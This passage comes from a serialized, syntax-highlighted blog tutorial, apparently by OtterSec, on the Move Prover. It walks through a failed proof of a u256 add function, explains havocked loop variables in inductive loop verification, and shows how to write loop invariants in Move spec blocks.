spec",{"type":24,"tag":158,"props":1220,"children":1221},{"style":1108},[1222],{"type":29,"value":367},{"type":24,"tag":158,"props":1224,"children":1225},{"style":1108},[1226],{"type":29,"value":210},{"type":24,"tag":158,"props":1228,"children":1229},{"class":160,"line":280},[1230,1235,1240,1244,1248,1252,1256,1260,1264,1268,1272,1276,1281,1286,1290,1294,1298,1302,1306,1310,1314],{"type":24,"tag":158,"props":1231,"children":1232},{"style":222},[1233],{"type":29,"value":1234},"|",{"type":24,"tag":158,"props":1236,"children":1237},{"style":496},[1238],{"type":29,"value":1239}," aborts_if",{"type":24,"tag":158,"props":1241,"children":1242},{"style":1108},[1243],{"type":29,"value":499},{"type":24,"tag":158,"props":1245,"children":1246},{"style":188},[1247],{"type":29,"value":504},{"type":24,"tag":158,"props":1249,"children":1250},{"style":496},[1251],{"type":29,"value":101},{"type":24,"tag":158,"props":1253,"children":1254},{"style":188},[1255],{"type":29,"value":723},{"type":24,"tag":158,"props":1257,"children":1258},{"style":1108},[1259],{"type":29,"value":728},{"type":24,"tag":158,"props":1261,"children":1262},{"style":1108},[1263],{"type":29,"value":499},{"type":24,"tag":158,"props":1265,"children":1266},{"style":188},[1267],{"type":29,"value":504},{"type":24,"tag":158,"props":1269,"children":1270},{"style":496},[1271],{"type":29,"value":741},{"type":24,"tag":158,"props":1273,"children":1274},{"style":188},[1275],{"type":29,"value":723},{"type":24,"tag":158,"props":1277,"children":1278},{"style":222},[1279],{"type":29,"value":1280},">",{"type":24,"tag":158,"props":1282,"children":1283},{"style":1108},[1284],{"type":29,"value":1285},"=",{"type":24,"tag":158,"props":1287,"children":1288},{"style":1108},[1289],{"type":29,"value":448},{"type":24,"tag":158,"props":1291,"children":1292},{"style":165},[1293],{"type":29,"value":615},{"type":24,"tag":158,"props":1295,"children":1296},{"style":1108},[1297],{"type":29,"value":448},{"type":24,"tag":158,"props":1299,"children":1300},{"style":165},[1301],{"type":29,"value":615},{"type":24,"tag":158,"props":1303,"children":1304},{"style":1108},[1305],{"type":29,"value":448},{"type":24,"tag":158,"props":1307,"children":1308},{"style":165},[1309],{"type":29,"value":615},{"type":24,"tag":158,"props":1311,"children":1312},{"style":1108},[1313],{"type":29,"value":448},{"type":24,"tag":158,"props":1315,"children":1316},{"style":188},[1317],{"type":29,"value":473},{"type":24,"tag":158,"props":1319,"children":1320},{"class":160,"line":301},[1321,1325,1330,1334,1338,1342,1346,1350,1354,1358,1362,1366,1370,1374,1378,1382],{"type":24,"tag":158,"props":1322,"children":1323},{"style":222},[1324],{"type":29,"value":1234},{"type":24,"tag":158,"props":1326,"children":1327},{"style":496},[1328],{"type":29,"value":1329}," ensures",{"type":24,"tag":158,"props":1331,"children":1332},{"style":1108},[1333],{"type":29,"value":499},{"type":24,"tag":158,"props":1335,"children":1336},{"style":188},[1337],{"type":29,"value":504},{"type":24,"tag":158,"props":1339,"children":1340},{"style":496},[1341],{"type":29,"value":1025},{"type":24,"tag":158,"props":1343,"children":1344},{"style":188},[1345],{"type":29,"value":723},{"type":24,"tag":158,"props":1347,"children":1348},{"style":1108},[1349],{"type":29,"value":1034},{"type":24,"tag":158,"props":1351,"children":1352},{"style":1108},[1353],{"type":29,"value":499},{"type":24,"tag":158,"props":1355,"children":1356},{"style":188},[1357],{"type":29,"value":504},{"type":24,"tag":158,"props":1359,"children":1360},{"style":496},[1361],{"type":29,"value":101},{"type":24,"tag":158,"props":1363,"children":1364},{"style":188},[1365],{"type":29,"value":723},{"type":24,"tag":158,"props":1367,"children":1368},{"style":1108},[1369],{"type":29,"value":728},{"type":24,"tag":158,"props":1371,"children":1372},{"style":1108},[1373],{"type":29,"value":499},{"type":24,"tag":158,"props":1375,"children":1376},{"style":188},[1377],{"type":29,"value":504},{"type":24,"tag":158,"props":1379,"children":1380},{"style":496},[1381],{"type":29,"value":741},{"type":24,"tag":158,"props":1383,"children":1384},{"style":188},[1385],{"type":29,"value":1071},{"type":24,"tag":158,"props":1387,"children":1388},{"class":160,"line":626},[1389,1393],{"type":24,"tag":158,"props":1390,"children":1391},{"style":222},[1392],{"type":29,"value":1234},{"type":24,"tag":158,"props":1394,"children":1395},{"style":188},[1396],{"type":29,"value":1397}," }\n",{"type":24,"tag":158,"props":1399,"children":1400},{"class":160,"line":668},[1401],{"type":24,"tag":158,"props":1402,"children":1403},{"style":496},[1404],{"type":29,"value":1405},"╰─────^\n",{"type":24,"tag":158,"props":1407,"children":1408},{"class":160,"line":676},[1409],{"type":24,"tag":158,"props":1410,"children":1411},{"emptyLinePlaceholder":16},[1412],{"type":29,"value":481},{"type":24,"tag":158,"props":1414,"children":1415},{"class":160,"line":684},[1416],{"type":24,"tag":158,"props":1417,"children":1418},{"style":188},[1419],{"type":29,"value":1136},{"type":24,"tag":158,"props":1421,"children":1422},{"class":160,"line":700},[1423],{"type":24,"tag":158,"props":1424,"children":1425},{"emptyLinePlaceholder":16},[1426],{"type":29,"value":481},{"type":24,"tag":158,"props":1428,"children":1429},{"class":160,"line":785},[1430,1435,1440],{"type":24,"tag":158,"props":1431,"children":1432},{"style":496},[1433],{"type":29,"value":1434}," at",{"type":24,"tag":158,"props":1436,"children":1437},{"style":1108},[1438],{"type":29,"value":1439}," ./sources/u256.move:316:",{"type":24,"tag":158,"props":1441,"children":1442},{"style":1108},[1443],{"type":29,"value":1444}," add\n",{"type":24,"tag":158,"props":1446,"children":1448},{"class":160,"line":1447},13,[1449,1454,1459,1464,1468,1473,1477,1482,1487,1492,1497,1502],{"type":24,"tag":158,"props":1450,"children":1451},{"style":496},[1452],{"type":29,"value":1453}," enter",{"type":24,"tag":158,"props":1455,"children":1456},{"style":1108},[1457],{"type":29,"value":1458}," loop,",{"type":24,"tag":158,"props":1460,"children":1461},{"style":1108},[1462],{"type":29,"value":1463}," variable",{"type":24,"tag":158,"props":1465,"children":1466},{"style":188},[1467],{"type":29,"value":504},{"type":24,"tag":158,"props":1469,"children":1470},{"style":496},[1471],{"type":29,"value":1472},"s",{"type":24,"tag":158,"props":1474,"children":1475},{"style":188},[1476],{"type":29,"value":723},{"type":24,"tag":158,"props":1478,"children":1479},{"style":1108},[1480],{"type":29,"value":1481},"carry,",{"type":24,"tag":158,"props":1483,"children":1484},{"style":1108},[1485],{"type":29,"value":1486}," i,",{"type":24,"tag":158,"props":1488,"children":1489},{"style":1108},[1490],{"type":29,"value":1491}," ret",{"type":24,"tag":158,"props":1493,"children":1494},{"style":1108},[1495],{"type":29,"value":1496}," havocked",{"type":24,"tag":158,"props":1498,"children":1499},{"style":1108},[1500],{"type":29,"value":1501}," and",{"type":24,"tag":158,"props":1503,"children":1504},{"style":1108},[1505],{"type":29,"value":1506}," reassigned\n",{"type":24,"tag":158,"props":1508,"children":1510},{"class":160,"line":1509},14,[1511,1516,1520],{"type":24,"tag":158,"props":1512,"children":1513},{"style":496},[1514],{"type":29,"value":1515}," carry",{"type":24,"tag":158,"props":1517,"children":1518},{"style":1108},[1519],{"type":29,"value":462},{"type":24,"tag":158,"props":1521,"children":1522},{"style":465},[1523],{"type":29,"value":1524}," 54\n",{"type":24,"tag":158,"props":1526,"children":1528},{"class":160,"line":1527},15,[1529,1534,1538],{"type":24,"tag":158,"props":1530,"children":1531},{"style":496},[1532],{"type":29,"value":1533}," i",{"type":24,"tag":158,"props":1535,"children":1536},{"style":1108},[1537],{"type":29,"value":462},{"type":24,"tag":158,"props":1539,"children":1540},{"style":465},[1541],{"type":29,"value":1542}," 3792\n",{"type":24,"tag":158,"props":1544,"children":1546},{"class":160,"line":1545},16,[1547,1552,1556,1561,1565,1570,1575,1579,1584,1589,1593,1598,1603,1607,1612],{"type":24,"tag":158,"props":1548,"children":1549},{"style":496},[1550],{"type":29,"value":1551}," ret",{"type":24,"tag":158,"props":1553,"children":1554},{"style":1108},[1555],{"type":29,"value":462},{"type":24,"tag":158,"props":1557,"children":1558},{"style":1108},[1559],{"type":29,"value":1560}," u256.U256{v0",{"type":24,"tag":158,"props":1562,"children":1563},{"style":1108},[1564],{"type":29,"value":462},{"type":24,"tag":158,"props":1566,"children":1567},{"style":1108},[1568],{"type":29,"value":1569}," 26418,",{"type":24,"tag":158,"props":1571,"children":1572},{"style":1108},[1573],{"type":29,"value":1574}," v1",{"type":24,"tag":158,"props":1576,"children":1577},{"style":1108},[1578],{"type":29,"value":462},{"type":24,"tag":158,"props":1580,"children":1581},{"style":1108},[1582],{"type":29,"value":1583}," 27938,",{"type":24,"tag":158,"props":1585,"children":1586},{"style":1108},[1587],{"type":29,"value":1588}," v2",{"type":24,"tag":158,"props":1590,"children":1591},{"style":1108},[1592],{"type":29,"value":462},{"type":24,"tag":158,"props":1594,"children":1595},{"style":1108},[1596],{"type":29,"value":1597}," 6900,",{"type":24,"tag":158,"props":1599,"children":1600},{"style":1108},[1601],{"type":29,"value":1602}," v3",{"type":24,"tag":158,"props":1604,"children":1605},{"style":1108},[1606],{"type":29,"value":462},{"type":24,"tag":158,"props":1608,"children":1609},{"style":465},[1610],{"type":29,"value":1611}," 1999",{"type":24,"tag":158,"props":1613,"children":1614},{"style":1108},[1615],{"type":29,"value":307},{"type":24,"tag":158,"props":1617,"children":1619},{"class":160,"line":1618},17,[1620,1624,1629],{"type":24,"tag":158,"props":1621,"children":1622},{"style":496},[1623],{"type":29,"value":1434},{"type":24,"tag":158,"props":1625,"children":1626},{"style":1108},[1627],{"type":29,"value":1628}," ./sources/u256.move:346:",{"type":24,"tag":158,"props":1630,"children":1631},{"style":1108},[1632],{"type":29,"value":1444},{"type":24,"tag":158,"props":1634,"children":1636},{"class":160,"line":1635},18,[1637],{"type":24,"tag":158,"props":1638,"children":1639},{"style":496},[1640],{"type":29,"value":1641}," ABORTED\n",{"type":24,"tag":158,"props":1643,"children":1645},{"class":160,"line":1644},19,[1646],{"type":24,"tag":158,"props":1647,"children":1648},{"emptyLinePlaceholder":16},[1649],{"type":29,"value":481},{"type":24,"tag":158,"props":1651,"children":1653},{"class":160,"line":1652},20,[1654,1659,1664,1669,1674,1679,1684,1688,1693,1697],{"type":24,"tag":158,"props":1655,"children":1656},{"style":496},[1657],{"type":29,"value":1658},"FAILURE",{"type":24,"tag":158,"props":1660,"children":1661},{"style":1108},[1662],{"type":29,"value":1663}," proving",{"type":24,"tag":158,"props":1665,"children":1666},{"style":465},[1667],{"type":29,"value":1668}," 1",{"type":24,"tag":158,"props":1670,"children":1671},{"style":1108},[1672],{"type":29,"value":1673}," modules",{"type":24,"tag":158,"props":1675,"children":1676},{"style":1108},[1677],{"type":29,"value":1678}," from",{"type":24,"tag":158,"props":1680,"children":1681},{"style":1108},[1682],{"type":29,"value":1683}," package",{"type":24,"tag":158,"props":1685,"children":1686},{"style":1108},[1687],{"type":29,"value":1191},{"type":24,"tag":158,"props":1689,"children":1690},{"style":496},[1691],{"type":29,"value":1692},"u256",{"type":24,"tag":158,"props":1694,"children":1695},{"style":1108},[1696],{"type":29,"value":1200},{"type":24,"tag":158,"props":1698,"children":1699},{"style":188},[1700],{"type":29,"value":1701}," in 9.143s\n",{"type":24,"tag":158,"props":1703,"children":1705},{"class":160,"line":1704},21,[1706],{"type":24,"tag":158,"props":1707,"children":1708},{"style":188},[1709],{"type":29,"value":1710},"{\n",{"type":24,"tag":158,"props":1712,"children":1714},{"class":160,"line":1713},22,[1715,1720,1724],{"type":24,"tag":158,"props":1716,"children":1717},{"style":496},[1718],{"type":29,"value":1719}," \"Error\"",{"type":24,"tag":158,"props":1721,"children":1722},{"style":496},[1723],{"type":29,"value":225},{"type":24,"tag":158,"props":1725,"children":1726},{"style":1108},[1727],{"type":29,"value":1728}," \"Move Prover failed: exiting with verification errors\"\n",{"type":24,"tag":158,"props":1730,"children":1732},{"class":160,"line":1731},23,[1733],{"type":24,"tag":158,"props":1734,"children":1735},{"style":188},[1736],{"type":29,"value":307},{"type":24,"tag":25,"props":1738,"children":1739},{},[1740,1742,1747],{"type":29,"value":1741},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":24,"tag":154,"props":1743,"children":1745},{"className":1744},[],[1746],{"type":29,"value":413},{"type":29,"value":1748}," clauses. But there is no other abort situation that we have to cover, right?",{"type":24,"tag":25,"props":1750,"children":1751},{},[1752,1754,1760],{"type":29,"value":1753},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":24,"tag":154,"props":1755,"children":1757},{"className":1756},[],[1758],{"type":29,"value":1759},"ret havocked and reassigned",{"type":29,"value":347},{"type":24,"tag":25,"props":1762,"children":1763},{},[1764],{"type":29,"value":1765},"What does this mean?",{"type":24,"tag":25,"props":1767,"children":1768},{},[1769,1771,1778],{"type":29,"value":1770},"By diving into the Move Prover source, we find a ",{"type":24,"tag":101,"props":1772,"children":1775},{"href":1773,"rel":1774},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[105],[1776],{"type":29,"value":1777},"likely suspect",{"type":29,"value":1779},". The prover attempts to prove all loops with induction!",{"type":24,"tag":25,"props":1781,"children":1782},{},[1783],{"type":29,"value":1784},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":24,"tag":1786,"props":1787,"children":1788},"ol",{},[1789,1795],{"type":24,"tag":1790,"props":1791,"children":1792},"li",{},[1793],{"type":29,"value":1794},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":24,"tag":1790,"props":1796,"children":1797},{},[1798],{"type":29,"value":1799},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":24,"tag":25,"props":1801,"children":1802},{},[1803,1805,1810,1812,1818,1819,1825,1827,1833,1835,1840],{"type":29,"value":1804},"The loop prover will also ",{"type":24,"tag":897,"props":1806,"children":1807},{},[1808],{"type":29,"value":1809},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":1811},". Going back to the log message, this implies that the variables ",{"type":24,"tag":154,"props":1813,"children":1815},{"className":1814},[],[1816],{"type":29,"value":1817},"carry",{"type":29,"value":191},{"type":24,"tag":154,"props":1820,"children":1822},{"className":1821},[],[1823],{"type":29,"value":1824},"ret",{"type":29,"value":1826}," and ",{"type":24,"tag":154,"props":1828,"children":1830},{"className":1829},[],[1831],{"type":29,"value":1832},"i",{"type":29,"value":1834}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":24,"tag":154,"props":1836,"children":1838},{"className":1837},[],[1839],{"type":29,"value":426},{"type":29,"value":1841}," makes no sense.",{"type":24,"tag":25,"props":1843,"children":1844},{},[1845],{"type":29,"value":1846},"More concretely, the loop analysis translates into the following steps.",{"type":24,"tag":1786,"props":1848,"children":1849},{},[1850,1855,1860,1865,1870,1875],{"type":24,"tag":1790,"props":1851,"children":1852},{},[1853],{"type":29,"value":1854},"Assert the loop invariant",{"type":24,"tag":1790,"props":1856,"children":1857},{},[1858],{"type":29,"value":1859},"Havoc all modified variables",{"type":24,"tag":1790,"props":1861,"children":1862},{},[1863],{"type":29,"value":1864},"Assume the loop invariant",{"type":24,"tag":1790,"props":1866,"children":1867},{},[1868],{"type":29,"value":1869},"Assume the loop guard (the code inside the while condition)",{"type":24,"tag":1790,"props":1871,"children":1872},{},[1873],{"type":29,"value":1874},"Run the loop body",{"type":24,"tag":1790,"props":1876,"children":1877},{},[1878],{"type":29,"value":1854},{"type":24,"tag":25,"props":1880,"children":1881},{},[1882],{"type":29,"value":1883},"There are two approaches to dealing with loops.",{"type":24,"tag":25,"props":1885,"children":1886},{},[1887],{"type":29,"value":1888},"The first would be to specify a loop invariant.",{"type":24,"tag":25,"props":1890,"children":1891},{},[1892,1894,1901],{"type":29,"value":1893},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":24,"tag":101,"props":1895,"children":1898},{"href":1896,"rel":1897},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[105],[1899],{"type":29,"value":1900},"previous post",{"type":29,"value":347},{"type":24,"tag":147,"props":1903,"children":1905},{"code":1904,"language":150,"meta":7,"className":151,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[1906],{"type":24,"tag":154,"props":1907,"children":1908},{"__ignoreMap":7},[1909,1923,1935,1974,1999,2092,2100,2126,2134,2157,2178,2280,2288,2317],{"type":24,"tag":158,"props":1910,"children":1911},{"class":160,"line":161},[1912,1918],{"type":24,"tag":158,"props":1913,"children":1915},{"style":1914},"--shiki-default:#C586C0",[1916],{"type":29,"value":1917}," while",{"type":24,"tag":158,"props":1919,"children":1920},{"style":188},[1921],{"type":29,"value":1922}," ({\n",{"type":24,"tag":158,"props":1924,"children":1925},{"class":160,"line":213},[1926,1931],{"type":24,"tag":158,"props":1927,"children":1928},{"style":177},[1929],{"type":29,"value":1930}," spec",{"type":24,"tag":158,"props":1932,"children":1933},{"style":188},[1934],{"type":29,"value":210},{"type":24,"tag":158,"props":1936,"children":1937},{"class":160,"line":238},[1938,1943,1948,1952,1957,1961,1965,1970],{"type":24,"tag":158,"props":1939,"children":1940},{"style":177},[1941],{"type":29,"value":1942}," invariant",{"type":24,"tag":158,"props":1944,"children":1945},{"style":496},[1946],{"type":29,"value":1947}," len",{"type":24,"tag":158,"props":1949,"children":1950},{"style":188},[1951],{"type":29,"value":504},{"type":24,"tag":158,"props":1953,"children":1954},{"style":177},[1955],{"type":29,"value":1956},"amounts_times_coins",{"type":24,"tag":158,"props":1958,"children":1959},{"style":188},[1960],{"type":29,"value":723},{"type":24,"tag":158,"props":1962,"children":1963},{"style":222},[1964],{"type":29,"value":1034},{"type":24,"tag":158,"props":1966,"children":1967},{"style":177},[1968],{"type":29,"value":1969}," i",{"type":24,"tag":158,"props":1971,"children":1972},{"style":188},[1973],{"type":29,"value":473},{"type":24,"tag":158,"props":1975,"children":1976},{"class":160,"line":259},[1977,1981,1985,1990,1995],{"type":24,"tag":158,"props":1978,"children":1979},{"style":177},[1980],{"type":29,"value":1942},{"type":24,"tag":158,"props":1982,"children":1983},{"style":177},[1984],{"type":29,"value":1969},{"type":24,"tag":158,"props":1986,"children":1987},{"style":222},[1988],{"type":29,"value":1989}," \u003C=",{"type":24,"tag":158,"props":1991,"children":1992},{"style":177},[1993],{"type":29,"value":1994}," n_coins",{"type":24,"tag":158,"props":1996,"children":1997},{"style":188},[1998],{"type":29,"value":473},{"type":24,"tag":158,"props":2000,"children":2001},{"class":160,"line":280},[2002,2006,2011,2016,2021,2026,2031,2035,2039,2044,2049,2054,2059,2063,2068,2072,2076,2080,2084,2088],{"type":24,"tag":158,"props":2003,"children":2004},{"style":177},[2005],{"type":29,"value":1942},{"type":24,"tag":158,"props":2007,"children":2008},{"style":177},[2009],{"type":29,"value":2010}," forall",{"type":24,"tag":158,"props":2012,"children":2013},{"style":177},[2014],{"type":29,"value":2015}," j",{"type":24,"tag":158,"props":2017,"children":2018},{"style":165},[2019],{"type":29,"value":2020}," in",{"type":24,"tag":158,"props":2022,"children":2023},{"style":465},[2024],{"type":29,"value":2025}," 0",{"type":24,"tag":158,"props":2027,"children":2028},{"style":222},[2029],{"type":29,"value":2030},"..",{"type":24,"tag":158,"props":2032,"children":2033},{"style":177},[2034],{"type":29,"value":1832},{"type":24,"tag":158,"props":2036,"children":2037},{"style":222},[2038],{"type":29,"value":225},{"type":24,"tag":158,"props":2040,"children":2041},{"style":177},[2042],{"type":29,"value":2043}," amounts_times_coins",{"type":24,"tag":158,"props":2045,"children":2046},{"style":188},[2047],{"type":29,"value":2048},"[",{"type":24,"tag":158,"props":2050,"children":2051},{"style":177},[2052],{"type":29,"value":2053},"j",{"type":24,"tag":158,"props":2055,"children":2056},{"style":188},[2057],{"type":29,"value":2058},"] ",{"type":24,"tag":158,"props":2060,"children":2061},{"style":222},[2062],{"type":29,"value":1034},{"type":24,"tag":158,"props":2064,"children":2065},{"style":177},[2066],{"type":29,"value":2067}," input",{"type":24,"tag":158,"props":2069,"children":2070},{"style":188},[2071],{"type":29,"value":2048},{"type":24,"tag":158,"props":2073,"children":2074},{"style":177},[2075],{"type":29,"value":2053},{"type":24,"tag":158,"props":2077,"children":2078},{"style":188},[2079],{"type":29,"value":2058},{"type":24,"tag":158,"props":2081,"children":2082},{"style":222},[2083],{"type":29,"value":577},{"type":24,"tag":158,"props":2085,"children":2086},{"style":177},[2087],{"type":29,"value":1994},{"type":24,"tag":158,"props":2089,"children":2090},{"style":188},[2091],{"type":29,"value":473},{"type":24,"tag":158,"props":2093,"children":2094},{"class":160,"line":301},[2095],{"type":24,"tag":158,"props":2096,"children":2097},{"style":188},[2098],{"type":29,"value":2099}," };\n",{"type":24,"tag":158,"props":2101,"children":2102},{"class":160,"line":626},[2103,2108,2112,2117,2121],{"type":24,"tag":158,"props":2104,"children":2105},{"style":188},[2106],{"type":29,"value":2107}," (",{"type":24,"tag":158,"props":2109,"children":2110},{"style":177},[2111],{"type":29,"value":1832},{"type":24,"tag":158,"props":2113,"children":2114},{"style":222},[2115],{"type":29,"value":2116}," \u003C",{"type":24,"tag":158,"props":2118,"children":2119},{"style":177},[2120],{"type":29,"value":1994},{"type":24,"tag":158,"props":2122,"children":2123},{"style":188},[2124],{"type":29,"value":2125},")\n",{"type":24,"tag":158,"props":2127,"children":2128},{"class":160,"line":668},[2129],{"type":24,"tag":158,"props":2130,"children":2131},{"style":188},[2132],{"type":29,"value":2133}," }) {\n",{"type":24,"tag":158,"props":2135,"children":2136},{"class":160,"line":676},[2137,2142,2147,2152],{"type":24,"tag":158,"props":2138,"children":2139},{"style":188},[2140],{"type":29,"value":2141}," vector",{"type":24,"tag":158,"props":2143,"children":2144},{"style":222},[2145],{"type":29,"value":2146},"::",{"type":24,"tag":158,"props":2148,"children":2149},{"style":496},[2150],{"type":29,"value":2151},"push_back",{"type":24,"tag":158,"props":2153,"children":2154},{"style":188},[2155],{"type":29,"value":2156},"(\n",{"type":24,"tag":158,"props":2158,"children":2159},{"class":160,"line":684},[2160,2165,2170,2174],{"type":24,"tag":158,"props":2161,"children":2162},{"style":222},[2163],{"type":29,"value":2164}," &",{"type":24,"tag":158,"props":2166,"children":2167},{"style":165},[2168],{"type":29,"value":2169},"mut",{"type":24,"tag":158,"props":2171,"children":2172},{"style":177},[2173],{"type":29,"value":2043},{"type":24,"tag":158,"props":2175,"children":2176},{"style":188},[2177],{"type":29,"value":235},{"type":24,"tag":158,"props":2179,"children":2180},{"class":160,"line":700},[2181,2186,2190,2195,2199,2204,2208,2213,2218,2223,2227,2232,2236,2241,2246,2250,2254,2258,2263,2268,2272,2276],{"type":24,"tag":158,"props":2182,"children":2183},{"style":188},[2184],{"type":29,"value":2185}," (",{"type":24,"tag":158,"props":2187,"children":2188},{"style":222},[2189],{"type":29,"value":577},{"type":24,"tag":158,"props":2191,"children":2192},{"style":188},[2193],{"type":29,"value":2194},"vector",{"type":24,"tag":158,"props":2196,"children":2197},{"style":222},[2198],{"type":29,"value":2146},{"type":24,"tag":158,"props":2200,"children":2201},{"style":496},[2202],{"type":29,"value":2203},"borrow",{"type":24,"tag":158,"props":2205,"children":2206},{"style":188},[2207],{"type":29,"value":504},{"type":24,"tag":158,"props":2209,"children":2210},{"style":222},[2211],{"type":29,"value":2212},"&",{"type":24,"tag":158,"props":2214,"children":2215},{"style":177},[2216],{"type":29,"value":2217},"input",{"type":24,"tag":158,"props":2219,"children":2220},{"style":188},[2221],{"type":29,"value":2222},", (",{"type":24,"tag":158,"props":2224,"children":2225},{"style":177},[2226],{"type":29,"value":1832},{"type":24,"tag":158,"props":2228,"children":2229},{"style":165},[2230],{"type":29,"value":2231}," as",{"type":24,"tag":158,"props":2233,"children":2234},{"style":171},[2235],{"type":29,"value":230},{"type":24,"tag":158,"props":2237,"children":2238},{"style":188},[2239],{"type":29,"value":2240},")) ",{"type":24,"tag":158,"props":2242,"children":2243},{"style":165},[2244],{"type":29,"value":2245},"as",{"type":24,"tag":158,"props":2247,"children":2248},{"style":171},[2249],{"type":29,"value":457},{"type":24,"tag":158,"props":2251,"children":2252},{"style":188},[2253],{"type":29,"value":723},{"type":24,"tag":158,"props":2255,"children":2256},{"style":222},[2257],{"type":29,"value":577},{"type":24,"tag":158,"props":2259,"children":2260},{"style":188},[2261],{"type":29,"value":2262}," (",{"type":24,"tag":158,"props":2264,"children":2265},{"style":177},[2266],{"type":29,"value":2267},"n_coins",{"type":24,"tag":158,"props":2269,"children":2270},{"style":165},[2271],{"type":29,"value":2231},{"type":24,"tag":158,"props":2273,"children":2274},{"style":171},[2275],{"type":29,"value":457},{"type":24,"tag":158,"props":2277,"children":2278},{"style":188},[2279],{"type":29,"value":2125},{"type":24,"tag":158,"props":2281,"children":2282},{"class":160,"line":785},[2283],{"type":24,"tag":158,"props":2284,"children":2285},{"style":188},[2286],{"type":29,"value":2287}," );\n",{"type":24,"tag":158,"props":2289,"children":2290},{"class":160,"line":1447},[2291,2296,2300,2304,2309,2313],{"type":24,"tag":158,"props":2292,"children":2293},{"style":177},[2294],{"type":29,"value":2295}," i",{"type":24,"tag":158,"props":2297,"children":2298},{"style":222},[2299],{"type":29,"value":462},{"type":24,"tag":158,"props":2301,"children":2302},{"style":177},[2303],{"type":29,"value":1969},{"type":24,"tag":158,"props":2305,"children":2306},{"style":222},[2307],{"type":29,"value":2308}," +",{"type":24,"tag":158,"props":2310,"children":2311},{"style":465},[2312],{"type":29,"value":1668},{"type":24,"tag":158,"props":2314,"children":2315},{"style":188},[2316],{"type":29,"value":473},{"type":24,"tag":158,"props":2318,"children":2319},{"class":160,"line":1509},[2320],{"type":24,"tag":158,"props":2321,"children":2322},{"style":188},[2323],{"type":29,"value":2324}," };\n",{"type":24,"tag":25,"props":2326,"children":2327},{},[2328,2330,2336,2338,2343,2345,2351],{"type":29,"value":2329},"In this case, the brackets specify the loop invariant for the ",{"type":24,"tag":154,"props":2331,"children":2333},{"className":2332},[],[2334],{"type":29,"value":2335},"while",{"type":29,"value":2337}," loop. Note that because the loop invariant executes ",{"type":24,"tag":32,"props":2339,"children":2340},{},[2341],{"type":29,"value":2342},"after",{"type":29,"value":2344}," the loop guard, so we need to account for an extra step with ",{"type":24,"tag":154,"props":2346,"children":2348},{"className":2347},[],[2349],{"type":29,"value":2350},"i \u003C= n_coins",{"type":29,"value":347},{"type":24,"tag":147,"props":2353,"children":2355},{"code":2354,"language":150,"meta":7,"className":151,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[2356],{"type":24,"tag":154,"props":2357,"children":2358},{"__ignoreMap":7},[2359,2370,2381,2416,2439,2522,2529,2552],{"type":24,"tag":158,"props":2360,"children":2361},{"class":160,"line":161},[2362,2366],{"type":24,"tag":158,"props":2363,"children":2364},{"style":1914},[2365],{"type":29,"value":1917},{"type":24,"tag":158,"props":2367,"children":2368},{"style":188},[2369],{"type":29,"value":1922},{"type":24,"tag":158,"props":2371,"children":2372},{"class":160,"line":213},[2373,2377],{"type":24,"tag":158,"props":2374,"children":2375},{"style":177},[2376],{"type":29,"value":1930},{"type":24,"tag":158,"props":2378,"children":2379},{"style":188},[2380],{"type":29,"value":210},{"type":24,"tag":158,"props":2382,"children":2383},{"class":160,"line":238},[2384,2388,2392,2396,2400,2404,2408,2412],{"type":24,"tag":158,"props":2385,"children":2386},{"style":177},[2387],{"type":29,"value":1942},{"type":24,"tag":158,"props":2389,"children":2390},{"style":496},[2391],{"type":29,"value":1947},{"type":24,"tag":158,"props":2393,"children":2394},{"style":188},[2395],{"type":29,"value":504},{"type":24,"tag":158,"props":2397,"children":2398},{"style":177},[2399],{"type":29,"value":1956},{"type":24,"tag":158,"props":2401,"children":2402},{"style":188},[2403],{"type":29,"value":723},{"type":24,"tag":158,"props":2405,"children":2406},{"style":222},[2407],{"type":29,"value":1034},{"type":24,"tag":158,"props":2409,"children":2410},{"style":177},[2411],{"type":29,"value":1969},{"type":24,"tag":158,"props":2413,"children":2414},{"style":188},[2415],{"type":29,"value":473},{"type":24,"tag":158,"props":2417,"children":2418},{"class":160,"line":259},[2419,2423,2427,2431,2435],{"type":24,"tag":158,"props":2420,"children":2421},{"style":177},[2422],{"type":29,"value":1942},{"type":24,"tag":158,"props":2424,"children":2425},{"style":177},[2426],{"type":29,"value":1969},{"type":24,"tag":158,"props":2428,"children":2429},{"style":222},[2430],{"type":29,"value":1989},{"type":24,"tag":158,"props":2432,"children":2433},{"style":177},[2434],{"type":29,"value":1994},{"type":24,"tag":158,"props":2436,"children":2437},{"style":188},[2438],{"type":29,"value":473},{"type":24,"tag":158,"props":2440,"children":2441},{"class":160,"line":280},[2442,2446,2450,2454,2458,2462,2466,2470,2474,2478,2482,2486,2490,2494,2498,2502,2506,2510,2514,2518],{"type":24,"tag":158,"props":2443,"children":2444},{"style":177},[2445],{"type":29,"value":1942},{"type":24,"tag":158,"props":2447,"children":2448},{"style":177},[2449],{"type":29,"value":2010},{"type":24,"tag":158,"props":2451,"children":2452},{"style":177},[2453],{"type":29,"value":2015},{"type":24,"tag":158,"props":2455,"children":2456},{"style":165},[2457],{"type":29,"value":2020},{"type":24,"tag":158,"props":2459,"children":2460},{"style":465},[2461],{"type":29,"value":2025},{"type":24,"tag":158,"props":2463,"children":2464},{"style":222},[2465],{"type":29,"value":2030},{"type":24,"tag":158,"props":2467,"children":2468},{"style":177},[2469],{"type":29,"value":1832},{"type":24,"tag":158,"props":2471,"children":2472},{"style":222},[2473],{"